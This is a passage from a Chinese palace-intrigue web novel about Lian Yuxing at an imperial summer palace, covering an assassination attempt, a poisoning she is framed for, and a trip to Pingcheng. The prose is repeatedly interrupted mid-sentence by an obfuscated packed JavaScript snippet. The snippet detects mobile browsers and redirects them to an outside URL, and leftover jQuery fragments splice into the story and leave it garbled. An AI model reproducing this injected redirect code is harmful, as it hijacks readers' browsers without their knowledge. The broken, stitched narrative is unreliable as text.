那日雨确实大,几乎将衣物全都淋湿了,莲玉荇是女子,身子应当是受不住。 受了寒症,就该在府里好好休息,丞相府与景王府相隔甚远,还特地跑过来,真是“有心”。 贺砚随心绪复杂,兴致也不佳,脸色黑了下来,十九和迎月看得胆战心惊。 迎月观贺砚随面色不太对,赶紧开口道:“丞相府半夜去请了郎中,莲姑娘确实得了寒症,被王爷派出去的暗卫探查到了。” 顿了一会儿,迎月补充了一句,“昨日刚醒。” 贺砚随却不想听了,起身准备离开,“加派人手盯着景王府,看他们准备做什么。” “是!”十九和迎月齐齐应声。 ** 六月初三,吉日。 钦天监焚香祭祀,早就准备好的队伍在昭文帝一声令下旋即开拔,前往皇家避暑行宫。 这两个月,所有的公事要事都送往避暑行宫,由昭文帝和诸位大臣批阅。 莲玉荇一家在宫妃车队之后,莲玉荇掀了帘子往外看,青山绿水,比起京城也多了几分自由。 只是人多纠葛便多了,她依稀记得前世在避暑行宫闹出不少事情,只希望在这两个月内能够相安无事。 还没等收回视线,突地对上一双熟悉的眼睛。 莲玉荇愣了一瞬,贺砚随一身骑装,和一众皇孙贵胄一行,坐在高头大马上,姿态利落潇洒,丰神俊朗,看到她时视线明显顿住。 莲玉荇不想和贺砚随多做纠缠,反应过来后放下帘子,缩回车内。 她已经和贺沅安达成协议,要是帮贺沅安立下功绩,让他圣上面前展露风头,贺沅安便答应和她合作。 不过,对于贺沅安她还不甚了解,也得做好贺沅安反悔的准备。 她现在没有什么筹码,若是有权力在手,便不用这么受制于人了。 毕竟,以她的能力,将人捧上九五至尊之位,也非极其困难之事。 “阿荇,距离行宫还有些路程,先吃点东西垫垫肚子。”莲夫人把备好的点心递给莲玉荇,“你近来瘦了不少,一路舟车劳顿,多吃点。” “谢谢母亲。”莲玉荇伸手接过糕点。 莲丞相坐在马车一侧闭目养神,叮嘱道:“避暑行宫里人员混杂,除了陛下,皇子皇孙,妃嫔诰命也不少,需得小心行事,不可冲撞了贵人。” 莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333968|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉荇点了点头,表示自己知晓了。 车队走了二三个时辰,终于到了避暑行宫,皇子宫妃家臣按照分配好的房间入住。 莲玉荇进了卧房,妙青则开始铺床,打理卧房。 卧房在院子最边上,有一处天然温泉,正好可以缓解疲惫。 用了晚膳,一众人前往昭文帝居住的悠宁宫请安,昭文帝看起来分外疲倦,不到半个时辰,便让众人退下了。 “妙青,听说行宫园景绝妙非常,不如你跟我一起去走走。”莲玉荇道。 虽说前世已经来过一次避暑行宫,但勾心斗角的事情层出不穷,莲玉荇疲于应付,更别说看看行宫周边的景色。 回了京都,没什么机会到别的地方去游玩,现在倒是一个好机会。 晚上天气转凉,行宫处风有点大,莲玉荇接过妙青递过来的披风,穿在身上。 行宫各处假山林立,建筑园景均来自全国各处名工巧匠,精雕细琢,依稀可以窥见几分工匠的巧思。 莲玉荇莫名胸闷,不知什么缘由,她埋头顺着小道走,过了许久,抬头环顾四周,才发现妙青不知道什么时候和自己走散了。 想来应该是小路弯弯绕绕,一时丢了方向,她也不再多想,放慢脚步悠悠地走。 忽听得远处凉亭传来断断续续的说话声,听不真切,“……王爷,逛了好一会儿了,奴才给您备了茶水,先歇歇吧。” 脚步一下顿住,莲玉荇有些犹豫,不知道该不该往前走,正准备退回去,被人叫住,“莲姑娘也在这儿。” 贺沅安显然已经看到了她,现在退回去也于事无补,反倒显得她没有礼数。 “参见景王殿下。”莲玉荇走到凉亭外面站定,向凉亭里端坐的贺沅安行礼,贺沅安眉眼间的笑意不达眼底,招呼下人给她倒了茶水。 “避暑行宫里的景色十分怡人,只是位置较为偏远,没什么人来,本王没想到莲姑娘会来这里观赏。”贺沅安随口说道:“后面的湖里有两条锦鲤,大约是怕人,不见了踪影。” 话音刚落,遍身通红的锦鲤越出水面,叼了一口鱼食,重新退回水中。 妙青也找到了正确的路,看到莲玉荇的时候显然松了好一口气,向贺沅安行礼后,站到莲玉荇身边不远处。 莲玉荇看了一眼妙青,收回视线,她已与贺沅安交谈过,发现此人并不像传说中那般谦和有礼,反倒步步为营,屡屡试探。 与其说是与她观景,不如说是试探她是否听到他和下人的交谈之语。 莲玉荇思索片刻,笑道:“王爷眼光独到,看上的景观也是一绝,臣女偶然进入此地,恰好碰上王爷品茗,臣女之幸。” 贺沅安闻言似笑非笑,转了话题,“你哥哥驻守河西郡已然快一年,不知何时回京述职?” “想来还有两三个月的光景。”莲玉荇回答道。 相顾无言。 莲玉荇百无聊赖,面上没什么表情,衣袖下的手摩挲着,得想个法子离开。 她站起身,向贺沅安欠身,“方才是臣女冲撞了王爷的雅兴,便不打扰王爷雅兴,臣女先行告退。” 只是还没来得及退出凉亭,脚下忽然踉跄,整个人不受控制朝台阶下倒去。 凉亭外全是细碎的石子,若是磕在地上,轻则擦伤,重则毁容。 莲玉荇心里叫苦不迭,却全无办法,只能任由身子往地上倒去。 “……” 她怕不是和贺家两兄弟犯冲。 8. 刺杀 预料中的惨烈场面并没有出现,一双手虚虚扶住了她的手臂,莲玉荇才将将站定了。 “……”待莲玉荇看清那人的面庞,有些惊讶,“是你……” 迎月朝她行礼,转身往后退去,她这才发现迎月后面还有一人,正是许久未见的贺砚随,只是现在貌似心情不太好。 莲玉荇瞧见贺砚随泛黑的脸色,心里暗暗嘀咕,难道是吃错药了? 她收回视线,朝迎月微微颔首,以示感谢,却听得身边人冷哼了一声。 “哼。” “二位真是好兴致,本王倒不知这避暑行宫的景色有这么好看。” 话音落下,贺砚随淡淡往她这边瞥了一眼,没什么温度。 莫名其妙。莲玉荇对上贺砚随的眼睛,十分坦荡,贺砚随却移开眼睛,看向了贺沅安。 贺沅安脸色好像僵了一瞬,缓缓开口回击:“自然是比不得兄长日日奔忙,都没有歇息的时间。不如趁着在行宫的这段日子,好好将养。” “哦?弟弟看起来比为兄还要忙,日日会见宾客,到了行宫也不例外。”贺砚随呛声:“得了空闲,不如多休息,别出来惹眼。” “……” 城门失火,殃及池鱼。 贺砚随和贺沅安你来我往,两个人嘴皮子不让分毫,莲玉荇在一旁默默站着,走也不是,坐也不是,恍若池塘里那尾鱼。 过了许久,贺沅安黑着脸甩袖离开,贺砚随眼底闪过一丝畅快,转而走到莲玉荇面前,冷冷说道—— “就这么喜欢本王的胞弟?” 语气刻薄、冷淡,不知道是不是她的错觉,似乎还带着微不可查的醋意。 莲玉荇愣了片刻,被口水呛得直咳嗽,她怎么不知道贺砚随这么不要脸? 只是还未来得及反驳,贺砚随便头也不回地走了。 ** 几天后,昭文帝心情甚佳,下旨命人准备一场放灯会,着行宫内众人前往后山放灯。 山上挂满各式各样的灯笼,远远望去,满山灿烂灯火色,让人看了心情不自觉舒畅。 昭文帝和皇后贵妃站在中间,正兴致勃勃地往长明灯上题字,莲丞相与大臣们相谈甚欢,莲玉荇则带着莲夫人站到一边,几乎没什么存在感。 不一会儿妙青领了长明灯回来,“老爷、夫人、小姐,可以在灯上面写下心愿或者祝福。” “嗯。”莲玉荇视线往周边一扫,接过毛笔,题了几个字,眼角漾开一抹不易察觉的欢喜。 “阿荇的字又长进许多,若是被你阿兄见了,必定好一番夸赞。”旁边的莲夫人凑过来看,言语间很是赞赏。 莲玉荇垂下眼,用手抚平纸面上的褶皱,轻声道:“兄长字迹奔放张狂,形神兼备,我尚且比不过。” …… 莲夫人还欲说些什么,急切的钟声响起,提醒众人吉时已到,可以放灯。 一行人往空旷处走去,小心翼翼地放飞手上的灯,脸上挂着笑意,想来是有很多美好祝愿。 莲夫人被挤着往前,莲玉荇则落在后面,捧着长明灯左看右看,总觉得哪里不对劲,眉头皱起。 旁人看了,还以为遇到什么棘手的难题。 没等莲玉荇想出来,忽地有人撞上她的手臂,手上拿着的长明灯顷刻间落了地,一呼一吸间,一双脚踩了上去。 “呀——” 伴随一声惊呼,长明灯被踩得四分五裂,上面的墨迹也晕染开来,一片狼藉。 莲玉荇看了看地上,抬起头看向始作俑者,眼神淡漠。 “你这是什么眼神?”撞坏长明灯的沈宁瞪大了眼睛,质问道:“不过是一个长明灯,堂堂丞相小姐不会连一个长明灯都要和我这个小女子计较吧,还真是‘大方’!” 说着脚下又使劲碾了碾,“这字本姑娘看写得也不怎么样,毁了就毁了,刚好重新写。” 见莲玉荇没反应,沈宁又道:“我们几个的书法尚可,你要是相求,可以帮你写上一写。” 尖酸刻薄的声音传进耳朵里,实在刺耳,莲玉荇摸了摸耳朵,终于“哦”了一声,语气平淡,“不劳诸位费心,几个字我还是写得了的。” 太尉之女沈宁自小与她不对付,加上她父亲与莲丞相在朝堂上政见不合,更加是水火不容。 跟在沈宁身后的粉衣女子,正是先前在赏花宴上言语相激的,看来应该是受沈宁指使。 现如今,又趁着贵人不在,抓到机会便来找她的麻烦,莲玉荇实在烦得很。 对于不讲理的人,莲玉荇从来没什么耐心,只吩咐妙青重新给她找了一个空白的长明灯,研墨题字一气呵成。 “你!”见莲玉荇没被刺激到,沈宁面色微变,想说什么,但又顾忌着不远处的昭文帝等人,压低了声音,“我们走着瞧!” 沈宁一行人来得快去得也快,莲玉荇摇摇头,端详着面前的字,提笔在上面勾勒了几笔,满意地点点头。 …… 放灯开始,皇子大臣争着往前走,贺砚随却悄无声息退了出来,落在后面,一眼就看到被人欺负的莲玉荇。 他饶有兴致旁观,本以为能看好一会儿的热闹,没想到找茬的贵女一下就被打发了,并且还憋了一肚子气。 他看着莲玉荇重新在长明灯上题字,笔锋苍劲有力,不似寻常女儿家。 好像确实不一样了。贺砚随沉吟片刻,发现莲玉荇在长明灯上勾勒了几笔,他远远看过去,视线瞬间停滞。 怎么画了一只王八? 贺砚随忍了好一会儿,才将笑意压了下去,再看过去,莲玉荇已经将长明灯放飞了。 夜风熹微,吹得人眼睛生疼,在一片火光中,贺砚随眯着眼睛,清晰地看见了莲玉荇在长明灯上题的字。 “惟馨荐矣,既醉歆焉。神之降福,永永万年。” 神之降福。 永永万年。 ** 放灯结束,昭文帝和一众宫妃大臣顺着山路下山,侍卫在前面开道,整座山已经被禁卫军围了个团团转,苍蝇也很难飞进来,但还是以防危急情况。 莲玉荇抄了另外一条道,两个侍从在前面开路,妙青则打着灯笼照明。 “小姐,您在长明灯上写了什么愿望呀?” 周边一片漆黑,妙青开口说话似乎使火光晃动了一瞬。 莲玉荇步履缓慢,似乎在沉沉思索,过了好一会儿才听到声音,“一些吉祥话罢了。” 话音刚落下,小道上的风声渐渐大了起来,灯笼上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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贺砚随确实看见了,只是远处依稀传来骚乱的声音,让他不敢再懈怠分心。 看着莲玉荇的身影渐渐远去,才收回视线,匆匆往昭文帝所在的地方赶去。 大批黑衣刺客朝昭文帝所在的方位进攻,侍卫营一边要护住一众达官贵族,一边要抵抗刺客,实在掣肘。 贺砚随带着赶来救驾的禁卫军破开刺客防线,赶往昭文帝身边,大喊:“儿臣救驾来迟,父皇先行退往行宫内,待儿臣擒获刺客,再来向父皇请罪!” 昭文帝看向贺砚随的视线深沉不已,没有丝毫犹豫地在禁卫军的保护下,退往行宫。 一众刺客发现情况不对,疯了一般追着昭文帝赶,贺砚随持剑逆光而立,盯着刺客群里的首领,危险地眯了眯眼睛。 天上是承载着美好祝愿的长明灯,地下布满了杀人不眨眼的刺客。贺砚随不禁感慨,这群刺客还真会挑日子。 须臾,贺砚随抓住时机,腾空而起,将刺客首领枭首。 一时间空气都寂静了。 贺砚随手上的剑滴滴答答落着血,沉声道:“尔等首领已死,还不束手就擒!” 9. 毒药 避暑行宫内,悠宁宫。 昭文帝坐在上首,面色阴沉,带着龙纹戒指的手指一下下敲着龙椅,平静中带着几分焦灼。 方才遭遇刺客袭击的大臣们已经整理好仪容,伤口也已经被太医包扎过了,只是眼底仍然带着惊恐之色。 顾念着大局,贺砚随很快解决了刺客首领,大部分刺客发现情况不对服毒自尽,少部分刺客被禁卫军利落地卸了下巴,绑到悠宁宫大殿之上。 贺砚随跪地行礼,“参见陛下,刺客已被儿臣悉数拿下,全听候陛下发落。” 昭文帝脸色缓和了一瞬,示意贺砚随起身,“刺客来势汹汹,多亏了你及时赶到,等回宫后,朕便嘉奖于你。” “多谢陛下。”贺砚随起身,站到一边,在场的人都噤了声,贺沅安倒是不避讳地看向贺砚随,眼神不知是赞赏还是嘲弄。 莲丞相默不作声观察了一众人,上前一步行礼:“陛下,此番刺客的行动缜密无比,目标直指陛下,连守在外围的禁卫军也没能发现,看来是早已经做好刺杀准备。” “当务之急,是查清这伙刺客的来路,再者,还要排查避暑行宫中形形色色的人,看其中是否混入了刺客的内应,根除后患。”莲丞相揣摩着昭文帝的心意,说道。 昭文帝思索片刻,下了旨意,“传朕旨意,命端王贺砚随全权督办此事,禁卫军听从调遣,不得有误。” “遵旨!” ** 前朝水深火热,后院倒是安稳一片。 莲玉荇等人下山之后,便老老实实待在房间里,不敢到处走动。 还没有半个时辰,就有人来请,说是皇后邀世家贵女前去坐坐。 外面兵荒马乱,不知道刺客有没有全部落网,皇后就召集世家夫人和贵女,还真是心大。 想是这么想,莲玉荇但没有什么抵抗的意思,老老实实跟着去了后院。 一众世家夫人和贵女已经到齐,莲玉荇姗姗来迟吸引了不少人的视线,其中就有沈宁。 莲玉荇在莲夫人身边落座,视线掠过四周。 皇后和几位贵妃坐在上首,贵女们则被安排在院子里的席位。 皇后是一国之后,举止言谈端庄优雅,让人感觉很是慈祥。先是耐心安抚了众人焦躁不安的心情,又和众人分享了一些趣事。 莲玉荇先前对皇后的那些看法悉数丢了干净,满是好感,视线往右移了移,看向旁边。 那人身穿华贵服饰,头戴金钗步摇,风头几乎盖过了身边的皇后。 这便是冠宠后宫的温贵妃吧,莲玉荇心里有了猜测,就连一国之母的皇后,也得让她三分。 国公府军功赫赫,温贵妃又极为受宠,难怪温叙如此胆大妄为,在京城横行霸道。 不过要是再纵容温叙胡闹,国公府的荣耀却不一定长久。 这般想着,莲玉却发现温贵妃突然往她这边看了看,两人四目相对,气氛一时僵持。 莲玉荇扯出一个恰到好处的笑容,回应温贵妃试探的眼光。 好在温贵妃没怎么看她,很快就收回了视线,和皇后有说有笑。 莲玉荇松了一口气,她几乎以为温贵妃是要和她算温叙的账。毕竟她把温贵妃的侄子送进衙门,相当于打了温家的脸,也就是打了她温贵妃的脸。 只是还没高兴多久,温贵妃在一众人的注视下忽然站了起来,往她们这边走来。 来了。莲玉荇默念一声,果然看到温贵妃站在了自己面前,笑得分外慈祥和蔼,不过怎么看怎么假。 “本宫见莲姑娘的第一面,就觉得很和眼缘,本宫需回行宫更衣,不如就请莲姑娘随行,如何?” 温贵妃一锤定音,看似在询问,实际上没给莲玉荇任何选择。 当着这么多人的面,她不可能拂了堂堂贵妃的面子,即便温贵妃可能没存好意。 莲玉荇微微一笑,侧身给莲夫人一个眼神,走出坐席来到温贵妃身边,“这是臣女的荣幸,请——” 温贵妃眼底满是倨傲,这是上位者与生俱来的强势,先莲玉荇一步迈步离开,莲玉荇低眉敛目跟在后面。 坐席间传来窃窃私语,“温贵妃怎么突然要莲玉荇随行更衣?” “你怎么没看明白,分明是要给莲玉荇一个下马威!” “温世子被莲玉荇摆了一套,虽说在衙门没吃什么苦头,到底是被拂了面子,温贵妃怎么可能不替温世子找回场子呢?” “啊……那莲玉荇可要吃苦头了。” “……谁说不是呢。” …… 莲夫人将一切轻声细语都收进耳朵里,袖子里的手紧紧握住,很是担忧,面上却分毫没有显露。 并没有看到一侧的沈宁目不转睛地盯着她的脸色变化,脸上闪过快意。 莲玉荇,惹了温贵妃,该说明你是聪明还是蠢呢。 不过无所谓,我看你待会儿还出不出得了风头。 ** “坐吧。” 换好衣服的温贵妃从内室走出来,坐在主位,好整以暇看着莲玉荇的动作,十分惬意。 站了小半时辰的莲玉荇行动缓慢地往坐椅边挪去,对看热闹的温贵妃平静以待。 方才到了温贵妃居住的寝宫,温贵妃一句话也没说,径直进了内室,没说一句话,便把她晾在原地,还留下了一个宫女来看着她。 看吧,她就说温贵妃指定会给她穿小鞋,这不就来了。 刚坐下,温贵妃又问:“本宫听闻莲姑娘看人很准,不如你来给本宫说说,我那不争气的侄儿如何?” 还真是个棘手的问题。莲玉荇头脑转得飞快,说是不争气,应该还是让自己夸赞温叙。 “……温世子一表人才,假以时日,定是国之栋梁……”莲玉荇面不改色夸起了温叙。 夸他几句,又不会掉一块肉。 “莲姑娘口才也不错。”温贵妃笑得嘲讽,“既然莲姑娘对温叙评价如此之高,不如我向皇帝进言,将你许配给温叙,喜结连理,如何?” 没想到温贵妃会来这招,莲玉荇脸色微变,被温贵妃敏锐地捕捉到,得意地扯开嘴角。 欺软怕硬的玩意儿。温贵妃这般想着,心里很是嘲讽。 莲玉荇倒不是怕了,心想,这些人怎么总是以婚姻嫁娶来威胁人,是觉得离了婚姻就制不住女子了吗? 莲玉荇没再说话,任由温贵妃肆意打量。 过了一会儿,温贵妃大概觉得没什么意思,便放过了她,命人赐茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺砚随一身血气,是方才审讯刺客时留下的,他将自己的调查结果呈上,“启禀陛下,这批刺客来自西北一带,很大可能是突厥部族派来的,趁禁卫军换值之时潜入行宫。另外,儿臣在行宫内抓到一个形迹可疑的宫人,应该就是刺客的内应。” “好好好。”昭文帝如释重负般笑出声,“既然已经查出来,接下来的事情便由你全权负责。” “遵命。” 解决了一桩心事,昭文帝才想起方才的宫女,叫侍卫把宫女带到面前。 “这奴婢方才冒冒失失闯进殿,已然犯了死罪,还不赶紧把她带出去!” 宫女被吓得肝胆俱裂,赶紧开口:“陛下饶命!奴婢是温贵妃宫里的!” 昭文帝终于正眼瞧过来,“何事?还不赶紧如实道来!” 昭文帝威严的声音吓得宫女一哆嗦,颤抖着开口:“温贵妃与……莲姑娘在寝宫闲谈,忽地倒地不省人事了……症状像是中毒……” 还未踏出悠宁宫殿门的贺砚随身形一顿,收回了脚步。 昭文帝先他一步走出殿门,帝王仪态此刻被丢了个干净,这样看来,昭文帝是真的宠爱温贵妃,不然也不会如此着急。 步伐不知不觉急促起来,贺砚随心脏砰砰地跳,一边命人去请御医,一边往温贵妃的寝宫赶去。 10. 端倪 贺砚随到时,寝宫门口已经堵得水泄不通。他隔着人群远远看去,昭文帝一脸焦急地拉着温贵妃的手,一众人站在皇后身后,表情各异,只有莲玉荇孤零零跪在床边。 贺砚随领着太医进了寝宫,“陛下,先让太医给贵妃娘娘把把脉,看一下情况如何。”说着,不着痕迹地往莲玉荇那边看了一眼。 太医战战兢兢诊脉,眉头紧皱,好一会儿才松开手,跪在皇帝面前,禀报实情:“启禀陛下,贵妃娘娘脉象虚浮,确实是中了毒。不知娘娘先前喝了什么、吃了什么,可否容微臣先查看一番?” 昭文帝挥挥手,立刻有人呈上茶具,太医接过,用手沾了茶水嗅了嗅,瞬间警觉起来。 太医皱眉说道:“这茶盏中有毒药的痕迹,依微臣看来,像是西北突厥部族特产的毒草,无色无味,所以就算喝到了也不会察觉。” 太医的话落下,当即在众人心里埋下怀疑的种子,昭文帝的脸色尤为难看,没想到突厥部族竟然如此大胆,竟然敢在行宫内公然下毒! 像是想到什么,昭文帝眼神倏然变化,看向莲玉荇的目光变了又变。 “莲玉荇,你不妨说说,你与贵妃一同喝了这茶,为何贵妃如今不省人事,而你却好端端的?!” “臣女不知。”莲玉荇仍旧跪着,姿态不卑不亢。 莲玉荇确实不知,她自己也糊里糊涂喝了茶,现下又糊里糊涂跪在这接受审问,实在冤枉。 昭文帝哼笑,连连反问,“你不知,你如何不知?莫不是你与那突厥勾结,意图谋害贵妃?” 一大顶帽子扣在头上,莲玉荇刚想说什么,就见莲丞相和莲夫人跪地行礼,急忙开口:“陛下明鉴,小女平日行事规矩,断然不敢做这种杀头灭族之事!” 在场的人神色各异,谁也不敢触了皇帝的霉头。 莲玉荇突然看到了桌上摆着的茶盏,福至心灵,“当时臣女与娘娘喝的是同一壶茶,事发突然,臣女也不能串通上茶的宫女下毒。” “陛下若是不相信臣女,可将臣女所用茶盏拿来查探。”莲玉荇眉宇间镇定自若,端得是光明磊落的模样。 昭文帝突然发怒,将温贵妃所使用的茶盏摔到莲玉荇面前,碎片割破了她的手背。 “还敢狡辩,方才侍卫勘察现场,发现你所使用的茶盏不见了。” “要说不是你故意为之,朕还真不信。” 昭文帝来的时候就已听皇后说了全部,在她们从后院赶来的空隙里,只有莲玉荇和温贵妃独自待在寝宫。 事态愈发不可控制,贺砚随眼睛瑟缩了一下,慢慢退了出去。 贺砚随站在阴影里,“十九,你去查查在突厥内应被发现之前,还有没有什么不对劲的人和事?” 莲玉荇不能出事,在他还没查清一切事情之前。 贺砚随这般想着,重新进入寝宫。 ** 太医给温贵妃用了药,毒已经基本被解了,昭文帝缓了神,满脸疲态。棘手的是,莲玉荇并不承认给温贵妃下毒。 从事情发生以后,莲玉荇在地上跪了两个时辰,浑身发软,汗珠源源不断从面上滴落,她眼前一阵阵发昏,已然力竭。 不知道昭文帝要让她跪到什么时候,是查出凶手,还是等温贵妃醒来为止?又或者不管青红皂白,只要昭文帝不高兴,她便随时可以推出去问斩? 莲玉荇不知道,也说不清楚,只觉得自己快死了,胸口闷痛,喉头涌起阵阵猩甜,用尽全身仅剩的气力才压了下去。 恍惚间,她听到昭文帝发话了,“既然拒不承认,那便即刻打进牢狱,严加审问!” 莲玉荇撩起眼皮,解脱一般呕出一大口血,鲜血浸湿了大片衣裳,模样十分可怖。 “阿荇!”莲夫人哭喊着扑上前去,几乎悲痛欲绝。 ** 悠宁宫。 “陛下,儿臣找到证据了,贵妃娘娘所中之毒并非莲姑娘所下,而是另有其人。”贺砚随拱手行礼,所言甚笃,连昭文帝都有了几分怀疑。 昭文帝:“可有证据?” 贺砚随当即将查到的证据呈上,命侍卫将人带进来,三人整整齐齐跪在地上,显然已经被吓破了胆子。 贺砚随面无表情看了看三人,道:“突厥刺客潜入行宫刺杀之时,此内应打算和刺客里应外合,遂在贵妃娘娘的茶水里下了毒。”他指了指中间之人。 “儿臣命人去御膳房查验了一番,恰好遇到了一个鬼鬼祟祟的宫女,正在处理莲姑娘用过的茶盏,被侍卫当场抓获。” “方才太医查验了莲姑娘的脉象,还有用过的茶盏,发现莲姑娘体内有两种毒药……” 贺砚随的话戛然而止,昭文帝是个聪明人,自然发现其中关窍,下毒的人共有两伙人,一伙给温贵妃下毒,一伙则买通了温贵妃身边的宫女,给莲玉荇下了毒。 或许是莲玉荇体内两种毒药中和之后,没有立即发作。 “那这第三人……”昭文帝若有所思,定睛看去,正是太尉之女沈宁,登时脸色一黑,“你好大的胆子!竟然在行宫内堂而皇之下毒!” 沈宁被昭文帝吼得发懵,反应过来赶紧求饶,“陛下饶命,陛下饶命!臣女只是一时鬼迷心窍,做了错事,求陛下饶了臣女!” “望陛下念臣往日没有功劳也有苦劳,饶她一条命吧……”太尉跪在一旁,重重磕头。 如今证据确凿,太尉也没有什么可辩驳的,只能听候发落。 昭文帝看得心烦,拍板定音,“太尉沈丘贬为绵阳太守,罚俸禄一年。所有人再为非作歹,必有重罚!” 众人胆战心惊退了出去,只有贺砚随还站在原地,方才昭文帝给他使了眼色,示意他留下,应该还有什么要事与他商议。 帝王的信任来得极其快,从前贺砚随只是不受重视的闲散王爷,救驾有功之后,便可随意出入帝王身边,委以重任。 昭文帝弯了弯唇角,虽年事已高,但帝王威仪仍然在,总有点不怀好意的意思,看得贺砚随心颤了几分。 “阿随,自你立府之后,朕还没和你独处过。”昭文帝拍了拍旁边的座位,让贺砚随坐下,“朕记得你小时候特别喜欢黏着朕。这两日来,你的能力朕看在眼里,众大臣也有目共睹,恰好朕这里有件要事需要你去做。” 贺砚随面上很是惶恐,内里毫无波澜,恭恭敬敬道:“父皇有命,儿臣定不负所托。” 昭文帝将桌上的折子递给他,顺便提了一句,“今日之事是朕误会莲姑娘了,待会儿你便以朕的名义,送点东西过去。” 说完便闭着眼睛挥挥手,今日发生了太多事情,昭文帝疲累得不行,示意贺砚随推下,贺砚随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莲玉荇看着信上的三个字有些怀疑,贺沅安会不会觉得自己在骗他?不去平城了? 过了好一会儿,莲玉荇摇摇头,把混乱的想法抛之脑后,他要是不来就算了,反正吃亏的不是她。 左不过去平城修养罢了。 ** 端王府,书房。 十九拿着密信急匆匆进了屋,道:“主子,先前您吩咐我们查的人已经查到了,最近的踪迹出现在绵阳、平城附近,具体行踪还在查。” “怎么都在平城?”贺砚随愣了一瞬,重新翻阅起折子,心神却已经游移不定了。 平城?贺砚随隐约有点印象,好像是莲玉荇的舅舅,也就是莲夫人母家所在的地方。 贺砚随啪的一声把折子合上,运粮官这时候还是个无名小卒,出入在各州郡也很正常。 贺砚随又问十九:“查过这人的底细与否?关系网要一一探查过去,不可遗漏半分。” 十九翻了翻书卷,在密密麻麻的人名中发现了一处显眼的,“王爷请看。” “此人先前是平城太守的门客,因为骄奢淫逸,被赶出府去,而这平城太守乃是莲丞相早年间的门生。” 和莲丞相有关。贺砚随细细琢磨着这句话,脸色一下子变得很是微妙。 难道真和莲玉荇有关系? 贺砚随心绪起伏不定,攥紧了拳头才平复下来几分。 不过怎么刚好在和私盐有关的地方?贺砚随隐约觉得有些不对劲,但又说不出什么所以然来,只能把疑问埋在心里,嘱咐十九备好车马,过几日便前往平城,一探究竟。 11. 平城 马车慢慢悠悠驶入官道,不一会儿在城门口停下,车夫把通行牌递给查验的官兵。 马车又重新开动起来,驶入城中,平城虽是京都之外的小城,但位于通往西北地区的第一要塞,来往人群鱼龙混杂,文化底蕴也同京都不大不同。 耳边嘈杂之声不断,莲玉荇掀开车帘往外看,叫卖糖葫芦的小贩、卖菜的大娘、卖首饰的年轻妇人……世间百态尽缩于方寸。 一切与记忆中的场景无甚差别。 莲玉荇心中雀跃,隐约有些迫不及待,年幼时她在平城待了两年,各种好吃的好玩的,几乎没有她不知道的。 当初离开平城那天,表弟楚元琅哭得一把鼻涕一把泪,硬要拽着她不放,哭喊着不让她离开,被小舅舅捉住打了一顿。 再次来到平城,还真是……恍如隔世了。莲玉荇眼里闪过怀念,片刻外露的情绪消散不见。 马车还未停稳,老远便听到一声清脆少年声,“表姐!” 莲玉荇下了马车,挑了挑眉,目光扫视着面前的年轻男子,还是和小时候一样活泼灵动。 “元琅,许久不见,你竟然长得比我阿兄还高了。”莲玉荇笑着调侃他。 楚元琅站定,理所当然认为莲玉荇是在夸他,笑得十分恣意,“玉鹤表哥听见可不得了,兴许还会嫉妒我嘞。” 毕竟那时候楚元琅身量极小,还没有莲玉鹤的腿高,如今也是高八尺有余的俊俏少年了。 所以一时攀比也情有可原。 莲玉荇低低笑了一声,还是小孩子。看到楚越封禾他们过来了,赶紧行礼叫人:“舅舅、舅母。” 封禾一脸心疼迎上来,拍了拍莲玉荇的手,“前些天你母亲来了信,说是你遭了好些劫难,要我们好好照看你。我让你舅舅做了你小时候最爱吃的烧鹅,待会儿可得好好尝尝!” “我最爱吃烧鹅了。”莲玉荇眉眼弯弯,“多谢舅母、舅舅。” 楚越笑得温柔,站在边上听她们说话,模样略显憨厚,寒暄了几句,便招呼着她们进了府。“外面风大,先进去吧。” 几十年前,楚家跟着军队行军,军职越来越高,后来渐渐退出朝堂,开始行商,做起了鲜卑和大晋的往来生意,赚得盆满钵满。 再加上自家妹妹嫁了当朝宰相,身价水涨船高,旁人见了都得恭恭敬敬。 莲玉荇记得,自家小舅舅也是会武功的,相比少年时的年轻气盛,现下更沉稳内敛了不少。 “阿荇,你离开平城已经八九年了吧,你小时候住的房间我和你小舅舅还给你留着,里面的东西没人动过,我已经命丫鬟收拾好了,这段时间你便住那儿。” 封禾拉着莲玉荇的手往里厅走,喜笑颜开,又补充了一句,“宅子里空着的屋子,你想住哪儿住哪儿!” 莲玉荇不由得惊讶,没想到那间屋子还留着,她心中闪过复杂滋味,眼里泛起凌凌水光。 “多谢舅母,不用劳烦了,我住原先那间屋子便好。”莲玉荇垂眸说道。 待净了手,一众人坐下来,封禾便不停给她夹菜,一边说话:“你父亲现下身居高位,不得随意出入京都,不过还好你们这些小辈还自由些,不受管制,还能回来看看我们。” “舅母不必忧心。”莲玉荇道:“最近京都之中事务繁多,父亲母亲不能脱身,特地吩咐我多带了些东西,以示歉意。” 楚越闻言不乐意了,撇了撇嘴,“你舅母是担心你,只要人来了就行,还带了那么多累赘,若是需要什么,小舅舅再给你买就是,不必那么麻烦。” 